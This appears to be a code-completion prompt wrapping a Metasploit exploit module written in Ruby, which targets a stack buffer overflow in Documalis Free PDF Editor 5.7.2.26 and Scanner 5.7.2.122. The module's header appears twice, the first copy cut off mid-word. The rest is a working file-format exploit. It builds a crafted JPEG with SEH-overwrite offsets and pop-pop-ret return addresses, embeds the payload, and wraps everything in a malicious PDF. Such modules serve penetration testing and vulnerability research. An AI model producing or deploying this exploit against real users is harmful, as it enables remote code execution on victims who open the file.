You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: documalis_pdf_editor_and_scanner.rb
    path of file: ./repos/metasploit-framework/modules/exploits/windows/fileformat
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::PDF
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Documalis Free PDF Editor and Scanner JPEG Stack Buffer Overflow',
        'Description' => %q{
          Documalis Free PDF Editor version 5.7.2.26 and Documalis Free PDF Scanner version 5.7.2.122 do not
          appropriately validate the contents of JPEG images contained within a PDF. Attackers can exploit
          this vulnerability to trigger a buffer overflow on the stack and gain remote code execution as the
          user running the Documalis Free PDF Editor or Documalis Free PDF Scanner software.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'metacom', # Vulnerability discovery and PoC
          '<metacom27[at]gmail.com>', # Metasploit module
        ],
        'References' => [
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process'
        },
        'Platfor
    
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Documalis Free PDF Editor and Scanner JPEG Stack Buffer Overflow',
        'Description' => %q{
          Documalis Free PDF Editor version 5.7.2.26 and Documalis Free PDF Scanner version 5.7.2.122 do not
          appropriately validate the contents of JPEG images contained within a PDF. Attackers can exploit
          this vulnerability to trigger a buffer overflow on the stack and gain remote code execution as the
          user running the Documalis Free PDF Editor or Documalis Free PDF Scanner software.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'metacom', # Vulnerability discovery and PoC
          '<metacom27[at]gmail.com>', # Metasploit module
        ],
        'References' => [
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process'
        },
        'Platform' => 'win',
        'Payload' => {
          'Space' => 1715,
          'DisableNops' => true
        },
        'Targets' => [
          [
            'Documalis Free PDF Editor v.5.7.2.26 / Win 7, Win 10',
            {
              'Ret' => 0x0040160D, # pop esi # pop ebx # ret  - PDFEditor.exe
              'Offset' => 433
            }
          ],
          [
            'Documalis Free PDF Scanner v.5.7.2.122 / Win 7, Win 10',
            {
              'Ret' => 0x004023FC, # pop edx # pop ebx # ret  - DocumentScanner.exe
              'Offset' => 433
            }
          ]
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SERVICE_DOWN ],
          'SideEffects' => [ ARTIFACTS_ON_DISK ]
        },
        'Privileged' => false,
        'DisclosureDate' => '2020-05-22',
        'DefaultTarget' => 0
      )
    )

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf']),
      ]
    )
  end

  def exploit
    file_create(make_pdf)
  end

  def jpeg
    buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"
    buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"
    buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"
    buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"
    buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
    buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"
    buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
    buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
    buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
    buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"
    buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"
    buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"
    buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"
    buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"
    buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"
    buffer << rand_text(target['Offset']) # Junk
    buffer << generate_seh_record(target.ret)
    buffer << payload.encoded
    buffer << rand_text(2388 - buffer.length)
    buffer
  end

  def make_pdf
    @pdf << header
    add_object(1, '<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>')
    add_object(2, '<</Type/Outlines>>')
    add_object(3, '<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>')
    add_object(4, '[/PDF/Text/ImageC]')
    add_object(5, '<</Type/Page/Parent 3 0 R/Contents 6 0 R>>')
    stream_1 = 'stream' << eol
    stream_1 << '0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q' << eol
    stream_1 << 'endstream' << eol
    add_object(6, "<</Length 91>>#{stream_1}")
    stream = '<<' << eol
    stream << '/Width 230' << eol
    stream << '/BitsPerComponent 8' << eol
    stream << '/Name /X' << eol
    stream << '/Height 50' << eol
    stream << '/Intent /RelativeColorimetric' << eol
    stream << '/Subtype /Image' << eol
    stream << '/Filter /DCTDecode' << eol
    stream << "/Length #{jpeg.length}" << eol
    stream << '/ColorSpace /DeviceCMYK' << eol
    stream << '/Type /XObject' << eol
    stream << '>>'
    stream << 'stream' << eol
    stream << jpeg << eol
    stream << 'endstream' << eol
    add_object(7, stream)
    finish_pdf
  end
end